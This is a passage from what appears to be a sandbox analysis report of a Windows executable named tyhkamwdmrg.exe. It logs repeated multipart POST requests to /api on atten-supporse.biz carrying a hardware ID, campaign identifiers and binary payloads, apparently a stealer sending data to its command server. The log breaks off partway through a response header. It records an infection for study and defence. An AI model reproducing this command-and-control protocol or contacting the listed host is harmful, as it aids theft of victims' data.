2024-12-02 00:38:33 UTC	1015	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:38:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m5188e7po3v9r1hcajrifafhe7; expires=Thu, 27-Mar-2025 18:25:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qSEfdld9xK1y8MjFbAyMvkTn1Rskk2eE56GXr6nJL7xRsXeJ1QnXJ%2B%2BPnG4jGFqb4wUJNla7ed1JGn4pdmMFNwXUHXxqMUIA4FASpxcJ1yj2Yo82S4%2FI9h9TAtZZ0GiSIMHyNJE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eb7413668eac445-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1517&min_rtt=1512&rtt_var=577&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=951&delivery_rate=1881443&cwnd=227&unsent_bytes=0&cid=ad6fa2975e2dc513&ts=904&x=0"
2024-12-02 00:38:33 UTC	354	IN	Data Raw: 34 65 30 0d 0a 68 41 33 49 4c 54 58 31 5a 78 5a 69 55 66 69 78 75 37 4a 71 52 30 6b 5a 58 51 55 79 30 6e 78 4b 49 45 42 47 6d 6d 68 6c 63 4d 6e 2f 4c 37 34 50 44 38 46 4c 4e 42 45 30 32 6f 76 50 77 42 38 69 5a 54 73 38 59 52 44 6f 47 69 74 4d 4d 79 4f 32 53 68 4d 64 36 37 35 72 71 55 46 47 6b 45 73 30 42 79 6e 61 69 2b 44 4a 53 43 49 6e 4f 32 63 6e 56 37 67 65 4b 30 77 69 4a 2f 45 48 46 52 79 71 37 47 47 76 52 56 43 57 41 33 63 4f 50 4a 33 55 33 74 4d 41 4b 53 42 30 4e 57 67 51 2f 6c 34 76 57 6d 4a 38 75 43 55 41 42 4b 6a 4a 62 4c 74 47 46 34 68 4c 62 55 41 30 6c 70 4f 42 6b 41 73 69 4b 33 55 37 59 56 6d 36 46 43 4a 45 49 79 4c 77 47 41 77 57 6f 65 78 76 72 45 52 61 6e 78 64 36 42 44 75 57 30 74 54 54 53 47 74 72 66 43 63 6e 43 50 42 4e 47 6b 45 7a 4e 65 Data Ascii: 4e0hA3ILTX1ZxZiUfixu7JqR0kZXQUy0nxKIEBGmmhlcMn/L74PD8FLNBE02ovPwB8iZTs8YRDoGitMMyO2ShMd675rqUFGkEs0Bynai+DJSCInO2cnV7geK0wiJ/EHFRyq7GGvRVCWA3cOPJ3U3tMAKSB0NWgQ/l4vWmJ8uCUABKjJbLtGF4hLbUA0lpOBkAsiK3U7YVm6FCJEIyLwGAwWoexvrERanxd6BDuW0tTTSGtrfCcnCPBNGkEzNe
2024-12-02 00:38:33 UTC	901	IN	Data Raw: 67 56 6d 43 44 69 52 31 73 76 62 41 53 67 6d 65 7a 4a 74 58 37 4d 65 4c 30 67 6f 4b 2f 49 4f 43 68 2b 74 35 6d 2f 71 41 52 65 51 48 54 52 59 63 37 6e 57 79 64 63 45 4d 32 6c 42 66 33 67 65 71 56 34 76 54 6d 4a 38 75 41 49 43 45 61 6a 74 59 4b 6c 48 58 49 55 46 5a 67 59 2b 6e 38 48 66 31 51 59 76 4b 47 6b 31 61 56 61 7a 46 79 4e 4c 4a 79 50 38 53 6b 6c 53 72 50 34 76 38 67 39 32 6d 67 35 34 43 69 53 61 6b 38 61 65 45 57 55 73 64 33 38 2f 45 4c 51 66 4c 45 4d 6d 4b 76 59 4f 43 78 53 6c 36 32 43 73 52 56 65 51 44 33 77 49 4d 70 66 59 31 74 41 4e 4b 43 39 39 4d 32 5a 56 38 46 42 6f 52 54 70 6b 6f 45 6f 70 46 61 6a 30 4c 5a 39 4d 57 5a 6b 43 59 6b 41 73 31 4d 71 5a 31 77 52 6c 63 7a 73 78 59 6c 2b 69 48 7a 70 48 4c 44 62 30 44 77 45 66 71 4f 68 76 72 30 68 61 Data Ascii: gVmCDiR1svbASgmezJtX7MeL0goK/IOCh+t5m/qAReQHTRYc7nWydcEM2lBf3geqV4vTmJ8uAICEajtYKlHXIUFZgY+n8Hf1QYvKGk1aVazFyNLJyP8SklSrP4v8g92mg54CiSak8aeEWUsd38/ELQfLEMmKvYOCxSl62CsRVeQD3wIMpfY1tANKC99M2ZV8FBoRTpkoEopFaj0LZ9MWZkCYkAs1MqZ1wRlczsxYl+iHzpHLDb0DwEfqOhvr0ha
2024-12-02 00:38:33 UTC	1369	IN	Data Raw: 31 38 62 37 0d 0a 43 54 71 49 32 64 58 65 47 69 67 68 66 6a 46 72 56 62 38 65 4b 55 4d 73 4c 76 4e 4b 53 56 4b 73 2f 69 2f 79 44 33 69 61 46 57 59 4b 4f 49 75 52 37 4e 4d 47 4b 79 78 74 66 33 67 65 71 56 34 76 54 6d 4a 38 75 41 45 42 48 71 66 6d 61 62 68 42 57 49 55 50 5a 67 51 39 6e 74 2f 58 32 51 55 71 4c 6d 6b 37 5a 30 4b 78 47 79 39 4d 4c 7a 62 39 53 6b 6c 53 72 50 34 76 38 67 39 74 6f 77 4a 6b 45 54 54 59 35 74 72 65 42 69 49 39 4f 79 41 70 53 66 41 5a 4a 41 4a 36 5a 50 73 47 43 68 75 75 36 58 32 67 51 31 61 46 41 6e 30 4a 4f 5a 76 64 31 74 73 45 49 44 6c 77 4d 47 39 66 73 52 4d 6c 53 53 59 6b 75 45 52 48 46 62 4f 6d 4e 2b 70 75 57 70 67 58 64 78 46 78 72 39 44 58 33 67 38 7a 61 32 52 78 66 68 43 33 45 6d 67 61 59 69 58 30 42 67 59 64 72 65 78 6e 71 Data Ascii: 18b7CTqI2dXeGighfjFrVb8eKUMsLvNKSVKs/i/yD3iaFWYKOIuR7NMGKyxtf3geqV4vTmJ8uAEBHqfmabhBWIUPZgQ9nt/X2QUqLmk7Z0KxGy9MLzb9SklSrP4v8g9towJkETTY5treBiI9OyApSfAZJAJ6ZPsGChuu6X2gQ1aFAn0JOZvd1tsEIDlwMG9fsRMlSSYkuERHFbOmN+puWpgXdxFxr9DX3g8za2RxfhC3EmgaYiX0BgYdrexnq
2024-12-02 00:38:33 UTC	1369	IN	Data Raw: 42 64 41 30 34 6c 4e 33 51 33 41 41 70 4c 47 6b 79 59 6c 69 36 46 79 31 4f 4c 79 66 71 43 51 5a 53 35 61 5a 6f 73 67 38 50 31 79 4a 48 4e 78 44 61 7a 4a 66 4a 53 43 49 6e 4f 32 63 6e 55 62 67 5a 4a 6b 59 77 4b 75 6f 45 41 42 4b 74 37 6d 65 74 51 31 6d 5a 46 33 77 42 4d 35 54 63 30 64 6b 4d 4a 43 39 2f 4d 32 41 51 2f 6c 34 76 57 6d 4a 38 75 43 49 45 43 4c 47 6b 51 61 46 50 55 49 63 54 62 30 41 73 31 4d 71 5a 31 77 52 6c 63 7a 73 37 62 46 71 35 48 53 46 47 4c 79 54 78 42 51 34 61 70 75 35 39 71 30 56 46 6b 77 42 31 44 7a 6d 65 32 39 58 66 42 43 45 35 63 48 38 70 45 4c 63 47 61 42 70 69 42 50 4d 63 4a 41 43 35 70 6e 44 6b 56 68 65 51 43 54 52 59 63 35 50 66 32 4e 45 43 49 79 42 2b 4d 6d 64 56 75 68 6b 6b 51 69 49 6e 2f 67 77 4b 47 71 50 71 59 36 6c 43 55 70 Data Ascii: BdA04lN3Q3AApLGkyYli6Fy1OLyfqCQZS5aZosg8P1yJHNxDazJfJSCInO2cnUbgZJkYwKuoEABKt7metQ1mZF3wBM5Tc0dkMJC9/M2AQ/l4vWmJ8uCIECLGkQaFPUIcTb0As1MqZ1wRlczs7bFq5HSFGLyTxBQ4apu59q0VFkwB1Dzme29XfBCE5cH8pELcGaBpiBPMcJAC5pnDkVheQCTRYc5Pf2NECIyB+MmdVuhkkQiIn/gwKGqPqY6lCUp
2024-12-02 00:38:33 UTC	1369	IN	Data Raw: 50 5a 76 56 31 64 31 49 61 32 74 38 4a 79 63 49 38 44 6b 79 54 79 51 7a 36 54 38 41 45 76 71 6d 63 4f 52 57 46 35 41 4a 4e 46 68 7a 6c 39 2f 54 33 51 30 68 49 33 77 38 5a 6c 79 30 45 79 56 47 4b 79 44 39 47 42 55 55 70 65 5a 67 70 45 42 62 68 51 74 78 41 44 2f 61 6e 5a 6e 58 45 47 56 7a 4f 77 35 77 55 50 41 42 5a 6c 74 69 49 2f 52 4b 58 31 4b 6b 36 33 32 6d 51 46 65 57 42 6e 41 4c 4e 4a 7a 56 32 4e 4d 4e 4a 69 35 39 50 6d 64 63 75 68 6b 67 53 43 77 70 2f 67 34 42 46 4f 75 6f 4c 36 31 58 46 38 39 46 52 67 30 39 6b 39 44 66 33 52 34 4e 47 6a 73 67 4b 55 6e 77 47 53 51 43 65 6d 54 38 41 51 38 65 72 75 35 71 71 30 64 64 6e 77 70 37 45 6a 4b 56 32 74 37 62 42 53 6f 6c 66 6a 46 31 56 37 73 56 49 45 73 73 49 72 68 45 52 78 57 7a 70 6a 66 71 65 56 53 5a 44 6d 55 Data Ascii: PZvV1d1Ia2t8JycI8DkyTyQz6T8AEvqmcORWF5AJNFhzl9/T3Q0hI3w8Zly0EyVGKyD9GBUUpeZgpEBbhQtxAD/anZnXEGVzOw5wUPABZltiI/RKX1Kk632mQFeWBnALNJzV2NMNJi59PmdcuhkgSCwp/g4BFOuoL61XF89FRg09k9Df3R4NGjsgKUnwGSQCemT8AQ8eru5qq0ddnwp7EjKV2t7bBSolfjF1V7sVIEssIrhERxWzpjfqeVSZDmU
2024-12-02 00:38:33 UTC	1369	IN	Data Raw: 64 6a 66 53 47 74 72 66 43 63 6e 43 50 41 76 50 6b 55 6c 4b 37 6f 6a 41 41 6d 71 37 47 79 68 51 78 65 49 53 32 31 41 4e 4a 61 54 67 5a 41 46 4b 53 5a 2f 4c 57 74 51 73 42 63 76 53 44 41 72 39 77 63 45 45 71 37 30 62 72 68 41 58 4a 49 47 63 41 38 38 6c 74 76 54 6b 45 5a 6c 4c 47 4e 2f 50 78 43 63 48 54 6c 49 59 41 50 69 48 41 41 65 75 75 31 69 70 67 39 49 32 52 77 30 42 7a 2f 61 69 35 6e 51 43 53 67 35 66 6a 35 74 57 72 30 57 4a 30 63 6e 4b 2f 77 4f 44 42 79 35 36 47 43 71 53 56 79 57 41 48 63 4c 4f 5a 54 61 79 35 42 47 5a 53 78 6a 66 7a 38 51 6d 67 55 70 54 79 35 6d 31 67 45 52 46 65 6e 48 59 61 46 49 57 34 46 46 61 30 34 71 32 74 54 56 6b 46 42 6c 49 6e 55 7a 5a 46 65 34 46 69 31 43 4b 53 54 33 41 41 6b 56 75 65 78 6a 6f 46 31 59 6c 41 68 77 44 54 6d 66 Data Ascii: djfSGtrfCcnCPAvPkUlK7ojAAmq7GyhQxeIS21ANJaTgZAFKSZ/LWtQsBcvSDAr9wcEEq70brhAXJIGcA88ltvTkEZlLGN/PxCcHTlIYAPiHAAeuu1ipg9I2Rw0Bz/ai5nQCSg5fj5tWr0WJ0cnK/wODBy56GCqSVyWAHcLOZTay5BGZSxjfz8QmgUpTy5m1gERFenHYaFIW4FFa04q2tTVkFBlInUzZFe4Fi1CKST3AAkVuexjoF1YlAhwDTmf
2024-12-02 00:38:33 UTC	859	IN	Data Raw: 52 6c 63 7a 73 2f 59 31 79 7a 47 53 5a 4e 4c 79 76 2f 41 51 67 59 70 66 52 67 72 30 64 62 6e 77 68 6d 43 6a 6d 49 32 74 44 64 42 69 30 35 65 48 38 70 45 4c 63 47 61 42 70 69 46 76 49 4a 43 77 53 6d 36 53 2b 31 41 55 37 58 41 6e 68 41 61 39 72 42 79 39 41 44 4a 53 78 31 4c 57 5a 59 76 78 51 6f 52 43 6b 75 2b 77 4d 44 48 4b 4c 67 62 71 64 4f 56 70 63 41 64 41 6b 68 6c 35 4f 58 6b 41 38 39 61 79 4e 2f 55 46 79 37 4c 79 74 55 59 6a 75 32 45 30 63 56 70 36 59 33 36 6b 35 46 6d 67 31 77 41 44 36 63 32 4e 6a 52 43 79 55 72 65 44 39 69 57 37 38 59 4c 30 38 6f 4c 66 45 59 44 78 61 35 35 6d 4f 75 44 78 6e 58 41 6d 78 41 61 39 72 6a 32 74 73 45 4a 53 5a 75 66 33 67 65 71 56 34 76 54 6d 4a 38 75 41 49 4d 47 61 33 74 62 4b 6c 42 58 4a 30 4b 65 77 6f 31 6e 4e 76 63 30 Data Ascii: Rlczs/Y1yzGSZNLyv/AQgYpfRgr0dbnwhmCjmI2tDdBi05eH8pELcGaBpiFvIJCwSm6S+1AU7XAnhAa9rBy9ADJSx1LWZYvxQoRCku+wMDHKLgbqdOVpcAdAkhl5OXkA89ayN/UFy7LytUYju2E0cVp6Y36k5Fmg1wAD6c2NjRCyUreD9iW78YL08oLfEYDxa55mOuDxnXAmxAa9rj2tsEJSZuf3geqV4vTmJ8uAIMGa3tbKlBXJ0Kewo1nNvc0
2024-12-02 00:38:33 UTC	1369	IN	Data Raw: 32 36 66 31 0d 0a 34 4b 57 70 66 75 78 38 57 66 41 77 70 2b 51 6b 4a 55 4a 72 77 59 72 70 4d 55 70 41 37 53 67 34 30 6a 74 54 58 31 67 68 6c 5a 54 73 77 4a 77 69 4a 58 6d 41 43 48 57 71 34 45 6b 64 4b 36 39 4e 73 70 45 46 51 67 52 51 35 49 79 57 58 33 4e 4c 52 53 47 74 72 66 58 38 2f 41 50 35 65 4c 46 4e 69 66 4b 68 59 58 45 66 34 73 54 2f 34 55 42 6d 4f 52 57 4a 41 61 38 69 64 6d 63 4a 49 66 57 73 38 4d 57 70 52 73 78 41 72 55 44 41 69 2b 78 77 45 56 5a 58 59 54 71 64 45 57 35 6f 4b 66 7a 34 4e 75 39 37 53 33 41 55 71 49 45 55 42 63 6c 4f 2b 45 43 39 55 4d 32 53 32 53 67 68 53 38 39 38 76 34 67 39 6f 32 55 56 73 51 47 76 61 35 74 72 65 42 69 49 39 61 6e 4a 47 58 62 73 53 4a 55 30 70 5a 4c 5a 4b 41 56 4c 7a 74 69 48 71 53 30 62 58 58 53 52 53 61 4d 2b 41 Data Ascii: 26f14KWpfux8WfAwp+QkJUJrwYrpMUpA7Sg40jtTX1ghlZTswJwiJXmACHWq4EkdK69NspEFQgRQ5IyWX3NLRSGtrfX8/AP5eLFNifKhYXEf4sT/4UBmORWJAa8idmcJIfWs8MWpRsxArUDAi+xwEVZXYTqdEW5oKfz4Nu97S3AUqIEUBclO+EC9UM2S2SghS898v4g9o2UVsQGva5treBiI9anJGXbsSJU0pZLZKAVLztiHqS0bXXSRSaM+A
2024-12-02 00:38:33 UTC	1369	IN	Data Raw: 4d 73 59 54 68 68 64 70 42 65 5a 67 49 74 5a 4b 41 7a 52 31 72 72 32 53 48 71 56 78 66 50 52 55 45 44 50 5a 54 55 7a 38 46 46 41 44 78 34 4c 32 46 54 38 46 42 6f 52 47 4a 38 71 45 52 48 46 72 71 6d 4e 2f 6f 64 44 4d 4a 57 49 31 42 68 68 5a 33 41 6b 42 35 6c 63 79 6c 78 4a 30 4c 77 52 6d 67 46 49 54 62 71 44 41 51 45 71 4b 46 52 6c 47 6c 55 68 67 39 56 44 53 4f 64 37 65 66 46 43 79 73 6c 66 43 6c 32 45 50 35 65 4a 77 4a 36 48 62 68 43 53 78 53 6f 38 43 2b 56 41 52 65 50 52 53 78 41 42 70 6e 64 31 39 63 65 4e 47 5a 64 50 48 5a 61 6b 52 4d 34 52 57 4a 71 75 41 78 48 53 76 69 6f 4c 36 35 65 46 38 39 56 4a 6c 74 6d 79 59 53 4a 67 68 64 72 4d 6a 73 70 4a 77 6a 69 55 47 68 51 59 6e 79 34 54 51 51 41 75 65 42 73 76 45 77 51 71 54 74 42 41 7a 32 55 31 4d 2f 6c 43 Data Ascii: MsYThhdpBeZgItZKAzR1rr2SHqVxfPRUEDPZTUz8FFADx4L2FT8FBoRGJ8qERHFrqmN/odDMJWI1BhhZ3AkB5lcylxJ0LwRmgFITbqDAQEqKFRlGlUhg9VDSOd7efFCyslfCl2EP5eJwJ6HbhCSxSo8C+VARePRSxABpnd19ceNGZdPHZakRM4RWJquAxHSvioL65eF89VJltmyYSJghdrMjspJwjiUGhQYny4TQQAueBsvEwQqTtBAz2U1M/lC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	172.67.165.166	443	6516	C:\Users\user\Desktop\tyhkamwdmrg.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:38:34 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2UFNE1J1O69KBWK5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18153 Host: atten-supporse.biz
2024-12-02 00:38:34 UTC	15331	OUT	Data Raw: 2d 2d 32 55 46 4e 45 31 4a 31 4f 36 39 4b 42 57 4b 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 39 43 38 31 39 35 35 30 31 46 31 32 38 33 36 32 44 39 30 35 37 33 37 39 43 44 32 34 39 33 38 0d 0a 2d 2d 32 55 46 4e 45 31 4a 31 4f 36 39 4b 42 57 4b 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 32 55 46 4e 45 31 4a 31 4f 36 39 4b 42 57 4b 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 56 6e 55 71 6f 2d 2d 40 64 69 73 74 65 7a 0d 0a 2d 2d Data Ascii: --2UFNE1J1O69KBWK5Content-Disposition: form-data; name="hwid"39C8195501F128362D9057379CD24938--2UFNE1J1O69KBWK5Content-Disposition: form-data; name="pid"2--2UFNE1J1O69KBWK5Content-Disposition: form-data; name="lid"BVnUqo--@distez--
2024-12-02 00:38:34 UTC	2822	OUT	Data Raw: 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 Data Ascii: JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6
2024-12-02 00:38:36 UTC	1016	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:38:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e72ornej6hh4vgq77beo0sip6c; expires=Thu, 27-Mar-2025 18:25:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bv62g8MRPxIaDNffSw66SqnTe77OhnMPR%2B03fk7uR1exnO2VeCGsiw8wZOPhGKNL0JaMI9jcUhdVisyCuyVVxBB75aXfOxkgPZbAAsN9LPaTuyvAv49XNzxh9xkfk6UqzvtobDk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eb7414519c98c9c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1833&min_rtt=1832&rtt_var=689&sent=12&recv=23&lost=0&retrans=0&sent_bytes=2846&recv_bytes=19115&delivery_rate=1585233&cwnd=196&unsent_bytes=0&cid=478ea5bca8abb4ad&ts=1489&x=0"
2024-12-02 00:38:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-02 00:38:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	172.67.165.166	443	6516	C:\Users\user\Desktop\tyhkamwdmrg.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:38:37 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=XLAGVOZWNNPMXZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8762 Host: atten-supporse.biz
2024-12-02 00:38:37 UTC	8762	OUT	Data Raw: 2d 2d 58 4c 41 47 56 4f 5a 57 4e 4e 50 4d 58 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 39 43 38 31 39 35 35 30 31 46 31 32 38 33 36 32 44 39 30 35 37 33 37 39 43 44 32 34 39 33 38 0d 0a 2d 2d 58 4c 41 47 56 4f 5a 57 4e 4e 50 4d 58 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 58 4c 41 47 56 4f 5a 57 4e 4e 50 4d 58 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 56 6e 55 71 6f 2d 2d 40 64 69 73 74 65 7a 0d 0a 2d 2d 58 4c 41 47 56 4f Data Ascii: --XLAGVOZWNNPMXZContent-Disposition: form-data; name="hwid"39C8195501F128362D9057379CD24938--XLAGVOZWNNPMXZContent-Disposition: form-data; name="pid"2--XLAGVOZWNNPMXZContent-Disposition: form-data; name="lid"BVnUqo--@distez--XLAGVO
2024-12-02 00:38:38 UTC	1023	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:38:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b623irchm8qcnnlffdmpf9jtgf; expires=Thu, 27-Mar-2025 18:25:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tEaWftNlo0ZtkcwVnNjJKCOrZxKQASB6Z5Az2dvIi8PX8sJnmFqFQKj6ui%2B5nqcc3W%2Fix%2F%2B5BjXs6ZRD%2FhJdBixoi%2BOzzECkPLVaWgxgmawFwLvKlWDaUcDFUcW8F2SCLD8E464%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eb74156bdd75e79-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1708&min_rtt=1702&rtt_var=651&sent=8&recv=15&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9699&delivery_rate=1662870&cwnd=219&unsent_bytes=0&cid=3b8f6c7c3dbfb503&ts=957&x=0"
2024-12-02 00:38:38 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-02 00:38:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	172.67.165.166	443	6516	C:\Users\user\Desktop\tyhkamwdmrg.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:38:40 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MB3CGTMO5A User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20391 Host: atten-supporse.biz
2024-12-02 00:38:40 UTC	15331	OUT	Data Raw: 2d 2d 4d 42 33 43 47 54 4d 4f 35 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 39 43 38 31 39 35 35 30 31 46 31 32 38 33 36 32 44 39 30 35 37 33 37 39 43 44 32 34 39 33 38 0d 0a 2d 2d 4d 42 33 43 47 54 4d 4f 35 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4d 42 33 43 47 54 4d 4f 35 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 56 6e 55 71 6f 2d 2d 40 64 69 73 74 65 7a 0d 0a 2d 2d 4d 42 33 43 47 54 4d 4f 35 41 0d 0a 43 6f 6e 74 65 6e Data Ascii: --MB3CGTMO5AContent-Disposition: form-data; name="hwid"39C8195501F128362D9057379CD24938--MB3CGTMO5AContent-Disposition: form-data; name="pid"3--MB3CGTMO5AContent-Disposition: form-data; name="lid"BVnUqo--@distez--MB3CGTMO5AConten
2024-12-02 00:38:40 UTC	5060	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 eb b1 64 f0 Data Ascii: lrQMn 64F6(X&7~`aO@d
2024-12-02 00:38:41 UTC	1022	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:38:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kflne9ufs0r1sskgnhmtuuepuk; expires=Thu, 27-Mar-2025 18:25:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: 